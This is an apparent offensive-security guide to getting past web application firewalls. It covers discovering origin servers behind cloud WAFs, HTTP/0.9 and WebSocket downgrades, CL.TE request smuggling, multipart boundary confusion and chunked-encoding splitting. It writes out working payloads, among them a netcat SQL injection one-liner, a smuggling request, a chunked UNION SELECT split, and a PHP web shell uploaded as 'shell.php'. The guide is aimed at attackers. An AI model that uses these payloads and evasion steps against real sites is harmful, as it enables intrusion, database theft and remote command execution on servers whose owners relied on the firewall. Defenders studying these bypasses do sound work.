A Guide to Non-Conventional WAF/IDS Evasion Techniques
Most WAF bypass research focuses on obfuscating payloads to slip past rule sets. That works, but there is a better approach: bypass the WAF entirely. If your traffic never touches the WAF, its rules are irrelevant.
Direct origin IP access
Cloud WAFs (Cloudflare, Akamai, AWS WAF) sit in front of the origin server as a reverse proxy. If you can find the origin IP, you connect directly and skip the WAF completely.
Methods to discover origin IPs:
- Historical DNS records - services like SecurityTrails and ViewDNS store old A records from before the WAF was deployed
- Email headers - send a password reset or contact form submission, check the
Received:headers for the origin mail server IP - SSL certificate search - search Censys or Shodan for the site's SSL certificate hash. The origin often serves the same cert on its real IP
- Subdomain leaks - subdomains like
dev.,staging.,mail.,cpanel.often resolve directly to the origin - IPv6 - many WAF configurations only proxy IPv4. The origin's AAAA record may point directly to the server
Once you have the origin IP, add it to /etc/hosts or use curl's --resolve flag:
curl --resolve target.com:443:203.0.113.50 https://target.com/vulnerable-endpoint
Protocol downgrade
WAFs typically inspect HTTP/1.1 traffic. Alternative protocols may not be inspected.
HTTP/0.9 - no headers, just a raw GET request. Some legacy servers still accept it:
printf 'GET /vuln.php?id=1+UNION+SELECT+1,2,3\r\n' | nc target.com 80
WebSocket upgrade - initiate a WebSocket connection through the WAF, then send HTTP-like requests over the WebSocket channel. Most WAFs do not inspect WebSocket frames.
HTTP/2 cleartext (h2c) - request an h2c upgrade. If the origin supports it but the WAF does not proxy h2c properly, your requests bypass inspection.
Request smuggling
When the WAF and the origin server disagree on where one request ends and the next begins, you can smuggle a malicious request past the WAF.
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
G
Classic CL.TE smuggling: the WAF uses Content-Length (sees 6 bytes, thinks the request is complete), while the origin uses Transfer-Encoding: chunked (reads until the 0\r\n terminator, leaving G as the start of the next request).
Multipart boundary abuse
WAFs parse multipart form data to inspect file uploads. But the multipart spec allows unusual boundary definitions that confuse parsers:
Content-Type: multipart/form-data; boundary=----,boundary=evil
------
Content-Disposition: form-data; name="file"; filename="shell.php"
<?php system($_GET['c']); ?>
--------
Some WAFs use the first boundary value while the origin uses the second (or vice versa). The WAF inspects the wrong segment.
Chunked encoding abuse
Split your payload across multiple chunks. Some WAFs only inspect the first chunk or fail to reassemble chunked bodies properly before inspection:
POST /search HTTP/1.1
Transfer-Encoding: chunked
3
q=1
4
+UNI
9
ON+SELECT
0
The approach is not about hiding the payload. It is about exploiting differences in how the WAF and the origin server reconstruct the request body.